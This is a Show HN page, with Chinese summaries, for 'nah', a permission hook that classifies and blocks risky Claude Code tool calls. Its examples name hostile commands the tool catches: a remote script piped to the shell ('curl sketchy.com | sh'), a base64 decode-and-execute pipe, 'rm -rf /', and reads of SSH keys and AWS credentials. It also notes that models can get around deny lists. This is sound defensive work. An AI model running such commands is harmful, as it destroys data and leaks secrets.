展示 HN:适用于 Claude Code 的上下文感知权限保护。
Show HN: A context-aware permission guard for Claude Code

原始链接: https://github.com/manuelschipper/nah/

## nah:用于LLM工具使用的细粒度权限系统 `nah` 是一种安全工具,旨在超越LLM工具调用的简单允许/拒绝权限,解决现有系统(如 `--dangerously-skip-permissions`)的局限性。它使用快速、确定性规则对每个工具调用进行分类,基于*它所做的事情*——而不仅仅是命令本身,对于模糊情况可以选择升级到LLM进行处理。 每个决策都会被记录以供检查。`nah` 在执行*之前*拦截命令,检查潜在的有害操作,例如文件删除、敏感数据访问或恶意代码执行。它开箱即用,但可通过全局和每个项目的YAML文件进行高度配置。 主要功能包括:结构化命令分类、敏感路径检测、内容检查和LLM集成(Ollama、OpenAI等)。`nah` 提供 `allow`(允许)、`ask`(询问)和 `block`(阻止)等策略,并支持针对特定命令的自定义分类。 Claude Code 中的安全演示提供了 25 个实时威胁场景。安装很简单 (`nah install`),一个全面的CLI (`nah log`、`nah test`、`nah config`) 允许进行详细的控制和监控。它通过防止恶意仓库放松安全策略来优先考虑安全性。

## Nah:适用于Claude Code的上下文感知安全卫士 一个名为“nah”的新工具旨在为Claude Code的工具使用提供比简单绕过权限更安全、更精细的控制。虽然Claude Code允许或拒绝工具访问,但维护全面的拒绝列表很困难,即使是强大的模型也可能找到漏洞。 “Nah”充当“PreToolUse钩子”,使用确定性分类器在毫秒级时间内对每个工具调用进行分类,确定其*实际*功能(例如,文件系统读取、git历史重写)。然后,它应用策略——允许、上下文相关的允许、请求批准或阻止。 虽然它具有合理的默认设置,“nah”是完全可定制的。它通过在命令*执行之前*运行来避免使用`--dangerously-skip-permissions`的风险,从而防止潜在的有害操作。作者指出,它可以补充或替代Claude即将推出的“自动”模式,特别是对于优先考虑控制或成本的用户。它作为一个Python包可用:`pip install nah && nah install`。
相关文章

原文

nah

A permission system you control.
Because allow-or-deny isn't enough.

DocsInstallWhat it guardsHow it worksConfigureCLI


Claude Code’s permission system is allow-or-deny per tool, but that doesn’t really scale. Deleting some files is fine sometimes. And git checkout is sometimes catastrophic. Even when you curate permissions, 200 IQ Opus can find a way around it. Maintaining a deny list is a fool’s errand.

We needed something like --dangerously-skip-permissions that doesn’t nuke your untracked files, exfiltrate your keys, or install malware.

nah classifies every tool call by what it actually does using contextual rules that run in milliseconds. For the ambiguous stuff, optionally route to an LLM. Every decision is logged and inspectable. Works out of the box, configure it how you want it.

git push — Sure.
git push --forcenah?

rm -rf __pycache__ — Ok, cleaning up.
rm ~/.bashrcnah.

Read ./src/app.py — Go ahead.
Read ~/.ssh/id_rsanah.

Write ./config.yaml — Fine.
Write ~/.bashrc with curl sketchy.com | shnah.

pip install nah
nah install

You are up and running. To uninstall: nah uninstall && pip uninstall nah.

Don't use --dangerously-skip-permissions. In bypass mode, hooks fire asynchronously — commands execute before nah can block them.

Allow-list Bash, Read, Glob, Grep and let nah guard them. For Write and Edit, your call — nah inspects content either way.

Run the security demo inside Claude Code:

You'll go thru 25 live cases across 8 threat categories: remote code execution, data exfiltration, obfuscated commands, and others. Takes ~5 minutes.

nah is a PreToolUse hook that intercepts every tool call before it executes:

Tool What nah checks
Bash Structural command classification — action type, pipe composition, shell unwrapping
Read Sensitive path detection (~/.ssh, ~/.aws, .env, ...)
Write Path check + project boundary + content inspection (secrets, exfiltration, destructive payloads)
Edit Path check + project boundary + content inspection on the replacement string
Glob Guards directory scanning of sensitive locations
Grep Catches credential search patterns outside the project
MCP tools Generic classification for third-party tool servers (mcp__*)

Every tool call hits a deterministic structural classifier first, no LLMs involved.

Claude: Edit → ~/.claude/hooks/nah_guard.py
  nah. Edit targets hook directory: ~/.claude/hooks/ (self-modification blocked)

Claude: Read → ~/.aws/credentials
  nah? Read targets sensitive path: ~/.aws (requires confirmation)

Claude: Bash → npm test
  ✓ allowed (package_run)

Claude: Write → config.py containing "-----BEGIN PRIVATE KEY-----"
  nah? Write content inspection [secret]: private key

nah. = blocked. nah? = asks for your confirmation. Everything else flows through silently.

The same command gets different decisions based on context:

Command Context Decision
rm dist/bundle.js Inside project Allow
rm ~/.bashrc Outside project Ask
git push --force History rewrite Ask
base64 -d | bash Decode + exec pipe Block

For commands the classifier can't resolve, nah can optionally consult an LLM:

Tool call → nah (deterministic) → LLM (optional) → Claude Code permissions → execute

The deterministic layer always runs first — the LLM only resolves leftover "ask" decisions. If no LLM is configured or available, the decision stays "ask" and the user is prompted.

Supported providers: Ollama, OpenRouter, OpenAI, Anthropic, Snowflake Cortex.

Works out of the box with zero config. When you want to tune it:

# ~/.config/nah/config.yaml  (global)
# .nah.yaml                  (per-project, can only tighten)

# Override default policies for action types
actions:
  filesystem_delete: ask         # always confirm deletes
  git_history_rewrite: block     # never allow force push
  lang_exec: allow               # trust inline scripts

# Guard sensitive directories
sensitive_paths:
  ~/.kube: ask
  ~/Documents/taxes: block

# Teach nah about your commands
classify:
  database_destructive:
    - "psql -c DROP"
    - "mysql -e DROP"

nah classifies commands by action type, not by command name. Run nah types to see all 20 built-in action types with their default policies.

Every command maps to an action type, and every action type has a default policy:

Policy Meaning Example types
allow Always permit filesystem_read, git_safe, package_run
context Check path/project context, then decide filesystem_write, filesystem_delete, network_outbound
ask Always prompt the user git_history_rewrite, lang_exec, process_signal
block Always reject obfuscated

Choose how much built-in classification to start with:

# ~/.config/nah/config.yaml
profile: full      # full | minimal | none
  • full (default) — comprehensive coverage across shell, git, packages, containers, and more
  • minimal — curated essentials only (rm, git, curl, kill, ...)
  • none — blank slate — make your own
# ~/.config/nah/config.yaml
llm:
  enabled: true
  max_decision: ask              # cap: LLM can't escalate past "ask"
  providers: [openrouter]        # cascade order
  openrouter:
    url: https://openrouter.ai/api/v1/chat/completions
    key_env: OPENROUTER_API_KEY
    model: google/gemini-3.1-flash-lite-preview

Project .nah.yaml can add classifications and tighten policies, but can never relax them. A malicious repo can't use .nah.yaml to allowlist dangerous commands — only your global config has that power.

nah install                # install hook
nah uninstall              # clean removal
nah update                 # update hook after pip upgrade
nah config show            # show effective merged config
nah config path            # show config file locations
nah test "rm -rf /"              # dry-run Bash classification
nah test --tool Read ~/.ssh/id_rsa   # test any tool, not just Bash
nah test --tool Write ./out.txt      # test Write with content inspection
nah types                        # list all action types with default policies
nah log                          # show recent hook decisions
nah log --blocks                 # show only blocked decisions
nah log --asks                   # show only ask decisions
nah log --tool Bash -n 20        # filter by tool, limit entries
nah log --json                   # machine-readable output
/nah-demo                        # live security demo inside Claude Code

Adjust policies from the command line:

nah allow filesystem_delete      # allow an action type
nah deny network_outbound        # block an action type
nah classify "docker rm" container_destructive  # teach nah a command
nah trust api.example.com        # trust a network host
nah allow-path ~/sensitive/dir   # exempt a path for this project
nah status                       # show all custom rules
nah forget filesystem_delete     # remove a rule

MIT


--dangerously-skip-permissions?

nah

联系我们 contact @ memedata.com